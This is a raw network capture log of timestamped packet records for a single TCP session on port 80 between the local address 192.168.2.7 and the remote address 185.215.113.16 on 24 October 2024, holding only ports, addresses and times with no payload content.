Oct 24, 2024 04:01:44.719057083 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719059944 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719073057 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719084024 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719096899 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719300985 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719326019 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719337940 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719340086 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719350100 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719360113 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719372034 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719383001 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719417095 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719417095 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719435930 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719558001 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719754934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719774008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719785929 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719796896 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719809055 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719813108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719825983 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719841003 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719852924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719865084 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719875097 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719875097 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719875097 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719876051 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719888926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719899893 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719911098 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719922066 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719923973 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719933987 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.719935894 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.719948053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720060110 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720060110 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720391035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720403910 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720416069 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720427036 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720441103 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720453978 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720459938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720459938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720544100 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720725060 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720736980 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720748901 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720760107 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720772028 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720783949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720797062 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720808983 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720810890 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720810890 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720810890 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720823050 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720840931 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720854044 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720860004 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720860958 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720865011 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720876932 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720887899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720892906 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720900059 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720910072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720921993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720926046 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720933914 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720944881 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720944881 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.720956087 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.720968962 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721005917 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.721005917 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.721007109 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.721657991 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721669912 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721681118 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721692085 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721703053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721713066 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721731901 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.721760988 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.721760988 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.721834898 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721847057 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721858025 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721868992 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721883059 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721894979 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721905947 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721918106 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.721919060 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.721918106 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722043991 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722043991 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722640038 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722651958 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722662926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722673893 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722687006 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722712994 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722732067 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722735882 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722743034 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722755909 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722768068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722779036 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722779036 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722779989 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722793102 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722807884 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722820044 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722831011 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722837925 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722847939 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722860098 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722863913 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722875118 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722887039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.722907066 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722907066 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.722907066 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.723609924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723623037 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723643064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723654032 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723666906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723681927 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723692894 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723705053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723711014 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.723716021 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723727942 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723737001 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.723742008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723753929 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723764896 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723776102 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.723803043 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.723803043 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.723803043 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724453926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724466085 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724484921 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724497080 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724509954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724513054 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724524975 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724536896 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724550009 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724559069 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724559069 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724561930 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724574089 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724585056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724596977 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724602938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724602938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724608898 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724621058 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724632025 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724633932 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724646091 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724658012 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724658966 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724670887 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724683046 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724694014 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724694014 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724694967 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724714041 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.724749088 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.724749088 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.725328922 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.770534039 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.794513941 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794528961 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794576883 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.794702053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794714928 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794725895 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794771910 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.794847965 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794858932 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794871092 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794883013 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794893026 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794904947 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.794904947 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.794904947 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.794987917 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.794991970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795002937 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795013905 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795037031 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.795054913 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.795201063 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795212984 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795265913 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.795823097 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795959949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795972109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795984030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.795995951 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796008110 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796051025 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.796051025 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.796051025 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.796128035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796139956 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796153069 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796164036 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796175003 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796184063 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.796188116 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796420097 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796432018 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796443939 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.796444893 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.796444893 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.796495914 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834424019 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834439039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834449053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834459066 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834467888 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834480047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834481001 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834537029 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834547997 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834558010 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834568024 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834578037 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834589005 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834599018 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834615946 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834628105 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834635019 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834635019 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834635019 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834638119 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834650993 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834660053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834671021 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834686041 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834692955 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834697008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834707975 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834755898 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834768057 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834777117 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834789038 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834789038 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834789038 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834799051 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834810019 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834820032 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834830046 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834836006 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834841013 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834846020 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834851027 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.834891081 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834891081 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.834891081 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.835052013 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835062027 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835072994 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835083961 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835093021 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.835093975 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835104942 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835119963 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835123062 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.835131884 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.835192919 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835203886 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835215092 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835231066 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.835278988 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.835320950 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835334063 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835345984 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835359097 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.835382938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.835382938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.836062908 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836074114 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836086035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836169004 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836179972 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836189032 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.836189985 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836201906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836235046 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.836235046 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.836246967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836291075 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.836313963 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836324930 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836334944 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836344957 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836358070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.836379051 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.836671114 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.088155031 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.088197947 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.221718073 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.229034901 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.229048967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.229070902 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.229156971 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.253962994 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261346102 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261358976 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261368990 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261387110 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261398077 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261416912 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261431932 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261439085 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261439085 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261460066 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261481047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261495113 CEST	80	49837	185.215.113.16	192.168.2.7
